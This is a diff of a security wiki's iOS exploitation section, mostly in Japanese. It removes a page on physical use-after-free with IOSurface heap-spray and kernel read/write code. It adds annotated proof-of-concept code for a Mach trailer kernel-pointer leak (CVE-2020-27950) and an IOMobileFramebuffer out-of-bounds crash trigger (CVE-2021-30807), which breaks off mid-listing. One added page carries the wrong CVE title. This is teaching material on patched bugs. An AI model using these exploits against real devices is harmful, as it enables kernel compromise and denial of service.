diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index 968662194..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,207 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## Physical use-after-free - -これは[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)の投稿からの要約であり、この技術を使用したエクスプロイトに関するさらなる情報は[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)で見つけることができます。 - -### Memory management in XNU - -iOSのユーザープロセスの**仮想メモリアドレス空間**は**0x0から0x8000000000**まで広がっています。しかし、これらのアドレスは物理メモリに直接マッピングされているわけではありません。代わりに、**カーネル**は**ページテーブル**を使用して仮想アドレスを実際の**物理アドレス**に変換します。 - -#### Levels of Page Tables in iOS - -ページテーブルは3つのレベルで階層的に整理されています： - -1. **L1 Page Table (Level 1)**: -* ここにある各エントリは、大きな範囲の仮想メモリを表します。 -* **0x1000000000バイト**（または**256 GB**）の仮想メモリをカバーします。 -2. **L2 Page Table (Level 2)**: -* ここにあるエントリは、特に**0x2000000バイト**（32 MB）の小さな仮想メモリ領域を表します。 -* L1エントリは、全体の領域を自分でマッピングできない場合、L2テーブルを指すことがあります。 -3. **L3 Page Table (Level 3)**: -* これは最も細かいレベルで、各エントリは単一の**4 KB**メモリページをマッピングします。 -* より細かい制御が必要な場合、L2エントリはL3テーブルを指すことがあります。 - -#### Mapping Virtual to Physical Memory - -* **Direct Mapping (Block Mapping)**: -* ページテーブルの一部のエントリは、仮想アドレスの範囲を連続した物理アドレスの範囲に直接**マッピング**します（ショートカットのように）。 -* **Pointer to Child Page Table**: -* より細かい制御が必要な場合、あるレベルのエントリ（例：L1）は次のレベルの**子ページテーブル**を指すことができます（例：L2）。 - -#### Example: Mapping a Virtual Address - -仮に仮想アドレス**0x1000000000**にアクセスしようとするとします： - -1. **L1 Table**: -* カーネルは、この仮想アドレスに対応するL1ページテーブルエントリをチェックします。もしそれが**L2ページテーブルへのポインタ**を持っていれば、そのL2テーブルに進みます。 -2. **L2 Table**: -* カーネルは、より詳細なマッピングのためにL2ページテーブルをチェックします。このエントリが**L3ページテーブル**を指していれば、そこに進みます。 -3. **L3 Table**: -* カーネルは最終的なL3エントリを調べ、実際のメモリページの**物理アドレス**を指します。 - -#### Example of Address Mapping - -物理アドレス**0x800004000**をL2テーブルの最初のインデックスに書き込むと、次のようになります： - -* 仮想アドレス**0x1000000000**から**0x1002000000**は、物理アドレス**0x800004000**から**0x802004000**にマッピングされます。 -* これはL2レベルでの**ブロックマッピング**です。 - -また、L2エントリがL3テーブルを指している場合： - -* 仮想アドレス範囲**0x1000000000 -> 0x1002000000**の各4 KBページは、L3テーブルの個別のエントリによってマッピングされます。 - -### Physical use-after-free - -**物理的なuse-after-free**（UAF）は、次のような場合に発生します： - -1. プロセスが**読み取り可能かつ書き込み可能**なメモリを**割り当て**ます。 -2. **ページテーブル**がこのメモリをプロセスがアクセスできる特定の物理アドレスにマッピングするように更新されます。 -3. プロセスがメモリを**解放**（フリー）します。 -4. しかし、**バグ**のために、カーネルはページテーブルからマッピングを**削除するのを忘れ**、対応する物理メモリをフリーとしてマークします。 -5. カーネルはその後、この「解放された」物理メモリを**カーネルデータ**などの他の目的のために**再割り当て**できます。 -6. マッピングが削除されなかったため、プロセスはこの物理メモリに**読み書き**を続けることができます。 - -これは、プロセスが**カーネルメモリのページ**にアクセスできることを意味し、そこには機密データや構造が含まれている可能性があり、攻撃者が**カーネルメモリを操作**できる可能性があります。 - -### Exploitation Strategy: Heap Spray - -攻撃者は、どの特定のカーネルページが解放されたメモリに割り当てられるかを制御できないため、**ヒープスプレー**と呼ばれる技術を使用します： - -1. 攻撃者はカーネルメモリに**多数のIOSurfaceオブジェクト**を作成します。 -2. 各IOSurfaceオブジェクトは、そのフィールドの1つに**マジックバリュー**を含んでおり、識別が容易です。 -3. 攻撃者は**解放されたページをスキャン**して、これらのIOSurfaceオブジェクトのいずれかが解放されたページに配置されているかを確認します。 -4. 解放されたページにIOSurfaceオブジェクトを見つけると、それを使用して**カーネルメモリを読み書き**できます。 - -この詳細については[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)を参照してください。 - -### Step-by-Step Heap Spray Process - -1. **Spray IOSurface Objects**: 攻撃者は特別な識別子（「マジックバリュー」）を持つ多くのIOSurfaceオブジェクトを作成します。 -2. **Scan Freed Pages**: 彼らは、オブジェクトのいずれかが解放されたページに割り当てられているかを確認します。 -3. **Read/Write Kernel Memory**: IOSurfaceオブジェクトのフィールドを操作することで、カーネルメモリ内で**任意の読み書き**を行う能力を得ます。これにより、彼らは： -* 1つのフィールドを使用してカーネルメモリ内の**任意の32ビット値**を**読み取る**ことができます。 -* 別のフィールドを使用して**64ビット値を書き込む**ことができ、安定した**カーネル読み書きプリミティブ**を実現します。 - -IOSURFACE_MAGICというマジックバリューを持つIOSurfaceオブジェクトを生成して、後で検索します： -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -解放された物理ページ内の**`IOSurface`**オブジェクトを検索します: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### カーネルの読み書きをIOSurfaceで実現する - -カーネルメモリ内のIOSurfaceオブジェクト（ユーザースペースからアクセス可能な解放された物理ページにマッピングされている）を制御できるようになると、**任意のカーネル読み書き操作**に使用できます。 - -**IOSurfaceの重要なフィールド** - -IOSurfaceオブジェクトには2つの重要なフィールドがあります： - -1. **使用カウントポインタ**：**32ビットの読み取り**を許可します。 -2. **インデックス付きタイムスタンプポインタ**：**64ビットの書き込み**を許可します。 - -これらのポインタを上書きすることで、カーネルメモリ内の任意のアドレスにリダイレクトし、読み書き機能を有効にします。 - -#### 32ビットカーネル読み取り - -読み取りを行うには： - -1. **使用カウントポインタ**をターゲットアドレスから0x14バイトオフセットを引いた位置にポイントするように上書きします。 -2. `get_use_count`メソッドを使用して、そのアドレスの値を読み取ります。 -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64ビットカーネル書き込み - -書き込みを行うには： - -1. **インデックス付きタイムスタンプポインタ**をターゲットアドレスに上書きします。 -2. `set_indexed_timestamp`メソッドを使用して64ビット値を書き込みます。 -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### エクスプロイトフローの要約 - -1. **物理的なUse-After-Freeをトリガー**: 再利用可能なフリーページがあります。 -2. **IOSurfaceオブジェクトをスプレー**: カーネルメモリにユニークな「マジックバリュー」を持つ多くのIOSurfaceオブジェクトを割り当てます。 -3. **アクセス可能なIOSurfaceを特定**: 制御しているフリーページ上のIOSurfaceを見つけます。 -4. **Use-After-Freeを悪用**: IOSurfaceオブジェクト内のポインタを変更して、IOSurfaceメソッドを介して任意の**カーネルの読み書き**を可能にします。 - -これらのプリミティブを使用することで、エクスプロイトはカーネルメモリへの制御された**32ビットの読み取り**と**64ビットの書き込み**を提供します。さらなる脱獄手順には、追加の保護（例：新しいarm64eデバイスのPPL）をバイパスする必要があるかもしれない、より安定した読み書きプリミティブが含まれる可能性があります。 - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..cc88956ba --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,344 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## 脆弱性の説明 + +こちらに[great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)がありますが、要約すると： + +カーネルが受信するすべての Mach message は **"trailer"** で終わります：これはメタデータ（seqno、sender token、audit token、context、access control data、labels...）を持つ可変長の構造体です。カーネルはメッセージバッファ内で **常に最大の trailer（MAX_TRAILER_SIZE）を予約** しますが、**一部のフィールドしか初期化しません**。その後、**ユーザが制御する受信オプション** に基づいて返す trailer のサイズを**決定します**。 + +These are the trailer relevant structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +その後、trailer オブジェクトが生成されると、一部のフィールドのみが初期化され、最大 trailer サイズが常に確保されます: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +例えば、`mach_msg()` を使って Mach メッセージを読み取ろうとすると、メッセージに trailer を追加するために `ipc_kmsg_add_trailer()` が呼び出されます。この関数内で trailer のサイズが計算され、他のいくつかの trailer フィールドが設定されます: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +`option` パラメータはユーザー制御されているため、**`if` チェックを通過する値を渡す必要があります。** + +このチェックを通過するには、サポートされている有効な `option` を送信する必要があります: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +しかし、`MACH_RCV_TRAILER_MASK` は単にビットをチェックしているだけなので、`0` から `8` の間の任意の値を渡して `if` 文の中に入らないようにできます。 + +その後、コードを読み進めると次のような箇所が見つかります： +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. + +ご覧のとおり、`option` が `MACH_RCV_TRAILER_AV` (7) 以上の場合、フィールド **`msgh_ad`** は `0` に初期化されます。 + +If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory. + +ご注意のように、**`msgh_ad`** はトレーラの中で以前はまだ初期化されていない唯一のフィールドであり、以前使用されていたメモリからの leak を含む可能性がありました。 + +So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated. + +したがって、これを初期化させない方法は、`option` に `5` または `6` を渡すことです。そうすれば最初の if チェックを通過し、**`msgh_ad`** を初期化する if ブロックに入らなくなります。なぜなら `5` と `6` には関連するトレーラタイプが存在しないからです。 + +### Basic PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. + +[original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) には、ランダムなデータを単に leak する PoC が掲載されています。 + +### Leak Kernel Address PoC + +The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. + +[original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) には kernel address を leak する PoC もあります。これは、メッセージに `mach_msg_port_descriptor_t` 構造体を大量に詰めて送信することで実現します。userland ではこの構造体の `name` フィールドは `unsigned int` ですが、kernel では `name` フィールドは `struct ipc_port` のポインタです。したがって、これらの構造体を多数送信するとメッセージ内に **複数の kernel addresses が追加され**、そのうちの一つが leak される可能性があります。 + +Commetns were added for better understanding: + +理解を助けるためにコメントを追加しました： +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg → those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized → stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the A→D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size → total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## 参考文献 + +- [Synacktiv のブログ記事](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..650e68624 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## 脆弱性 + +You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary: + +- 脆弱性のあるコードパスは **external method #83**、IOMobileFramebuffer / AppleCLCD の user client にある: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`。このメソッドはユーザが制御するパラメータを受け取り、その検証を一切行わずに次の関数へ **`scalar0`** として渡します。 + +- そのメソッドは **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`** にフォワードされ、ここで **`scalar0`**（ユーザ制御の **32-bit** 値）が内部の **pointer の配列** に対する **index** として **境界チェックなし** で使われます: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` → `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` に **`IOSurface*`** として渡される。\ +> 結果: OOB pointer read & type confusion がその配列で発生します。もしポインタが有効でない場合、カーネルがデリファレンスして panic する → DoS。 + +> [!NOTE] +> これは **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** で修正されました。 + + +> [!WARNING] +> `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` を呼ぶ初期関数は entitlement **com.apple.private.allow-explicit-graphics-priority** により保護されています。しかし、**WebKit.WebContent** はこの entitlement を持っているため、サンドボックス化されたプロセスからこの脆弱性をトリガーすることができます。 + +## DoS PoC + +以下は元のブログ投稿からの初期 DoS PoC（追加コメント付き）です: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) 